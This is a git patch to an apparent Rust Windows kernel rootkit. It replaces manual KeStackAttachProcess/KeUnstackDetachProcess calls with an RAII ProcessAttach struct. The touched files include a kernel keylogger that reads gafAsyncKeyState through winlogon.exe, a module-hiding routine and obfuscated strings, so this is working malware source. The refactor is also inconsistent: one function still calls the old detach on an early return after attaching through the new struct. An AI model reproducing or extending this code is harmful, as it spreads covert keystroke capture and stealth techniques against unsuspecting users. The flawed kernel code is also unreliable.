From e84b38c7d05707a37f9152eed718f3d7b277e1d5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o=20Victor?= Date: Sat, 7 Sep 2024 23:57:18 -0300 Subject: [PATCH] Add ProcessAttach struct to manage process context switching --- driver/src/misc/keylogger/mod.rs | 31 +++++++++----------- driver/src/module/mod.rs | 43 ++++++++++------------------ driver/src/utils/address.rs | 20 +++++-------- driver/src/utils/mod.rs | 18 +++++------- driver/src/utils/process_attach.rs | 45 ++++++++++++++++++++++++++++++ 5 files changed, 87 insertions(+), 70 deletions(-) create mode 100644 driver/src/utils/process_attach.rs diff --git a/driver/src/misc/keylogger/mod.rs b/driver/src/misc/keylogger/mod.rs index f855020..90c6724 100644 --- a/driver/src/misc/keylogger/mod.rs +++ b/driver/src/misc/keylogger/mod.rs @@ -1,22 +1,23 @@ use { - obfstr::obfstr, - shared::structs::Keylogger, - keys::VK_CHARS, - core::{ffi::c_void, mem::size_of}, crate::{ - process::Process, get_ks_byte, get_ks_down_bit, - includes::MmCopyVirtualMemory, - is_key_down, set_key_down, - utils::{address::{get_address_asynckey, get_module_base_address}, get_process_by_name}, + is_key_down, set_key_down, + includes::MmCopyVirtualMemory, process::Process, + utils::{ + address::{get_address_asynckey, get_module_base_address}, + get_process_by_name, process_attach::ProcessAttach + } }, + core::{ffi::c_void, mem::size_of}, + keys::VK_CHARS, + obfstr::obfstr, + shared::structs::Keylogger, wdk_sys::{ ntddk::{ - IoGetCurrentProcess, KeDelayExecutionThread, KeStackAttachProcess, KeUnstackDetachProcess, + IoGetCurrentProcess, KeDelayExecutionThread, PsTerminateSystemThread, }, - KAPC_STATE, LARGE_INTEGER, NTSTATUS, PVOID, STATUS_SUCCESS, - _MODE::KernelMode, + LARGE_INTEGER, NTSTATUS, PVOID, STATUS_SUCCESS, _MODE::KernelMode, } }; @@ -166,8 +167,6 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) { /// `Option`: The address of the `gafAsyncKeyState` array if found, otherwise `None`. /// unsafe fn get_gafasynckeystate_address() -> Option { - let mut apc_state: KAPC_STATE = core::mem::zeroed(); - if !initialize_winlogon_process() { return None; } @@ -178,7 +177,7 @@ unsafe fn get_gafasynckeystate_address() -> Option { let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?; let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 200); - KeStackAttachProcess(winlogon_eprocess.e_process, &mut apc_state); + let attach_process = ProcessAttach::new(winlogon_eprocess.e_process); // fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)] // fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax @@ -194,13 +193,9 @@ unsafe fn get_gafasynckeystate_address() -> Option { let new_base = function_address.cast::().offset((position + 4) as isize); let gaf_async_key_state = new_base.cast::().offset(offset as isize); - KeUnstackDetachProcess(&mut apc_state); - return Some(gaf_async_key_state as PVOID); } - KeUnstackDetachProcess(&mut apc_state); - None } diff --git a/driver/src/module/mod.rs b/driver/src/module/mod.rs index f0a69ba..8317d2e 100644 --- a/driver/src/module/mod.rs +++ b/driver/src/module/mod.rs @@ -1,23 +1,20 @@ use { + winapi::shared::ntdef::LIST_ENTRY, + ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB}, + shared::structs::{ModuleInfo, TargetModule, TargetProcess}, + wdk_sys::{ + ntddk::IoGetCurrentProcess, + FILE_OBJECT, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE, + STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL, + _MODE::KernelMode + }, crate::{ includes::{ structs::MMVAD_SHORT, vad::MMVAD, MmCopyVirtualMemory, PsGetProcessPeb }, - process::Process, utils::pool::PoolMemory + process::Process, utils::{pool::PoolMemory, process_attach::ProcessAttach} }, - ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB}, - shared::structs::{ModuleInfo, TargetProcess, TargetModule}, - wdk_sys::{ - ntddk::{ - IoGetCurrentProcess, KeStackAttachProcess, - KeUnstackDetachProcess, - }, - FILE_OBJECT, KAPC_STATE, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE, - STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL, - _MODE::KernelMode - }, - winapi::shared::ntdef::LIST_ENTRY }; pub mod ioctls; @@ -45,7 +42,6 @@ impl Module { log::info!("Starting module enumeration"); let pid = (*process).pid; - let mut apc_state: KAPC_STATE = core::mem::zeroed(); let temp_info_size = 256 * core::mem::size_of::(); // Allocates memory for temporarily storing module information @@ -58,12 +54,11 @@ impl Module { // Attaches the target process to the current context let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - KeStackAttachProcess(target.e_process, &mut apc_state); - + let mut attach_process = ProcessAttach::new(target.e_process); + // Gets the PEB (Process Environment Block) of the target process let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; if target_peb.is_null() || (*target_peb).Ldr.is_null() { - KeUnstackDetachProcess(&mut apc_state); return Err(STATUS_INVALID_PARAMETER); } @@ -75,14 +70,12 @@ impl Module { while next != current { if next.is_null() { log::error!("Next LIST_ENTRY is null"); - KeUnstackDetachProcess(&mut apc_state); return Err(STATUS_UNSUCCESSFUL); } let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; if list_entry.is_null() { log::error!("LDR_DATA_TABLE_ENTRY is null"); - KeUnstackDetachProcess(&mut apc_state); return Err(STATUS_UNSUCCESSFUL); } @@ -90,7 +83,6 @@ impl Module { let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize); if buffer.is_empty() { log::error!("Buffer for module name is empty"); - KeUnstackDetachProcess(&mut apc_state); return Err(STATUS_UNSUCCESSFUL); } @@ -106,7 +98,7 @@ impl Module { } // Detaches the target process - KeUnstackDetachProcess(&mut apc_state); + attach_process.detach(); // Copies module information to the caller's space let size_to_copy = count as usize * core::mem::size_of::(); @@ -137,13 +129,11 @@ impl Module { pub unsafe fn hide_module(target: *mut TargetModule) -> Result<(), NTSTATUS> { let pid = (*target).pid; let module_name = &(*target).module_name.to_lowercase(); - let mut apc_state: KAPC_STATE = core::mem::zeroed(); let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; + let mut attach_process = ProcessAttach::new(target.e_process); - KeStackAttachProcess(target.e_process, &mut apc_state); let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; if target_peb.is_null() || (*target_peb).Ldr.is_null() { - KeUnstackDetachProcess(&mut apc_state); return Err(STATUS_INVALID_PARAMETER); } @@ -154,21 +144,18 @@ impl Module { while next != current { if next.is_null() { log::error!("Next LIST_ENTRY is null"); - KeUnstackDetachProcess(&mut apc_state); return Err(STATUS_UNSUCCESSFUL); } let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; if list_entry.is_null() { log::error!("LDR_DATA_TABLE_ENTRY is null"); - KeUnstackDetachProcess(&mut apc_state); return Err(STATUS_UNSUCCESSFUL); } let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize); if buffer.is_empty() { log::error!("Buffer for module name is empty"); - KeUnstackDetachProcess(&mut apc_state); return Err(STATUS_UNSUCCESSFUL); } @@ -187,7 +174,7 @@ impl Module { } // Detaches the target process - KeUnstackDetachProcess(&mut apc_state); + attach_process.detach(); if !address.is_null() { Self::hide_object(address as u64, target); diff --git a/driver/src/utils/address.rs b/driver/src/utils/address.rs index d7b7eb1..37dc98d 100644 --- a/driver/src/utils/address.rs +++ b/driver/src/utils/address.rs @@ -1,17 +1,15 @@ use { - obfstr::obfstr, + obfstr::obfstr, ntapi::ntzwapi::ZwQuerySystemInformation, - super::{get_process_by_name, pool::PoolMemory}, + super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach}, crate::{process::Process, utils::SystemModuleInformation}, core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts}, wdk_sys::{ - ntddk::{ - KeStackAttachProcess, - KeUnstackDetachProcess - }, - KAPC_STATE, NT_SUCCESS, POOL_FLAG_NON_PAGED, + NT_SUCCESS, POOL_FLAG_NON_PAGED, }, - winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64} + winapi::um::winnt::{ + RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64 + } }; /// Gets the base address of a specified module. @@ -101,7 +99,6 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) - /// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found. /// pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> { - let mut apc_state: KAPC_STATE = core::mem::zeroed(); let pid = match get_process_by_name(obfstr!("winlogon.exe")) { Some(p) => p, None => return None @@ -112,7 +109,7 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option< None => return None }; - KeStackAttachProcess(target.e_process, &mut apc_state); + let attach_process = ProcessAttach::new(target.e_process); let dll_base = dll_base as usize; let dos_header = dll_base as *mut IMAGE_DOS_HEADER; @@ -128,12 +125,9 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option< let ordinal = ordinals[i as usize] as usize; let address = (dll_base + functions[ordinal] as usize) as *mut c_void; if name_module == name { - KeUnstackDetachProcess(&mut apc_state); return Some(address); } } - KeUnstackDetachProcess(&mut apc_state); - None } \ No newline at end of file diff --git a/driver/src/utils/mod.rs b/driver/src/utils/mod.rs index 85e914d..eab6b63 100644 --- a/driver/src/utils/mod.rs +++ b/driver/src/utils/mod.rs @@ -1,16 +1,16 @@ use { obfstr::obfstr, - handles::Handle, - pool::PoolMemory, - winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,IMAGE_NT_HEADERS64}, + pool::PoolMemory, + process_attach::ProcessAttach, crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process}, - alloc::{string::String, vec::Vec}, + alloc::{string::String, vec::Vec}, core::{ ffi::{c_void, CStr}, mem::{size_of, zeroed}, ptr::{null_mut, read_unaligned}, slice::from_raw_parts }, + handles::Handle, ntapi::{ ntexapi::{ SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION @@ -22,6 +22,7 @@ use { wdk_sys::{ ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, * }, + winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,IMAGE_NT_HEADERS64} }; #[cfg(not(test))] @@ -42,6 +43,7 @@ pub mod patterns; pub mod address; pub mod handles; pub mod pool; +pub mod process_attach; /// Retrieves the input buffer from the given IO stack location. /// @@ -144,7 +146,7 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) let mut apc_state: KAPC_STATE = core::mem::zeroed(); let target = Process::new(pid)?; - KeStackAttachProcess(target.e_process, &mut apc_state); + let attach_process = ProcessAttach::new(target.e_process); let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; if target_peb.is_null() || (*target_peb).Ldr.is_null() { KeUnstackDetachProcess(&mut apc_state); @@ -157,14 +159,12 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) while next != current { if next.is_null() { log::error!("Next LIST_ENTRY is null"); - KeUnstackDetachProcess(&mut apc_state); return None; } let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; if list_entry.is_null() { log::error!("LDR_DATA_TABLE_ENTRY is null"); - KeUnstackDetachProcess(&mut apc_state); return None; } @@ -174,7 +174,6 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) ); if buffer.is_empty() { log::error!("Buffer for module name is empty"); - KeUnstackDetachProcess(&mut apc_state); return None; } @@ -194,7 +193,6 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) let ordinal = ordinals[i as usize] as usize; let address = (dll_base + functions[ordinal] as usize) as *mut c_void; if name_module == function_name { - KeUnstackDetachProcess(&mut apc_state); return Some(address); } } @@ -203,8 +201,6 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) next = (*next).Flink; } - KeUnstackDetachProcess(&mut apc_state); - None } diff --git a/driver/src/utils/process_attach.rs b/driver/src/utils/process_attach.rs new file mode 100644 index 0000000..8e5d113 --- /dev/null +++ b/driver/src/utils/process_attach.rs @@ -0,0 +1,45 @@ +use wdk_sys::{ntddk::{KeStackAttachProcess, KeUnstackDetachProcess}, KAPC_STATE, PRKPROCESS}; + +pub struct ProcessAttach { + apc_state: KAPC_STATE, + attached: bool, +} + +impl ProcessAttach { + // Function for attaching the context of a process + #[inline] + pub fn new(target_process: PRKPROCESS) -> Self { + let mut apc_state: KAPC_STATE = unsafe { core::mem::zeroed() }; + + unsafe { + KeStackAttachProcess(target_process, &mut apc_state); + } + + Self { + apc_state, + attached: true, + } + } + + // Method for manually detaching the process + #[inline] + pub fn detach(&mut self) { + if self.attached { + unsafe { + KeUnstackDetachProcess(&mut self.apc_state); + } + self.attached = false; + } + } +} + +impl Drop for ProcessAttach { + fn drop(&mut self) { + // If it is still attached, it unattaches when it leaves the scope + if self.attached { + unsafe { + KeUnstackDetachProcess(&mut self.apc_state); + } + } + } +}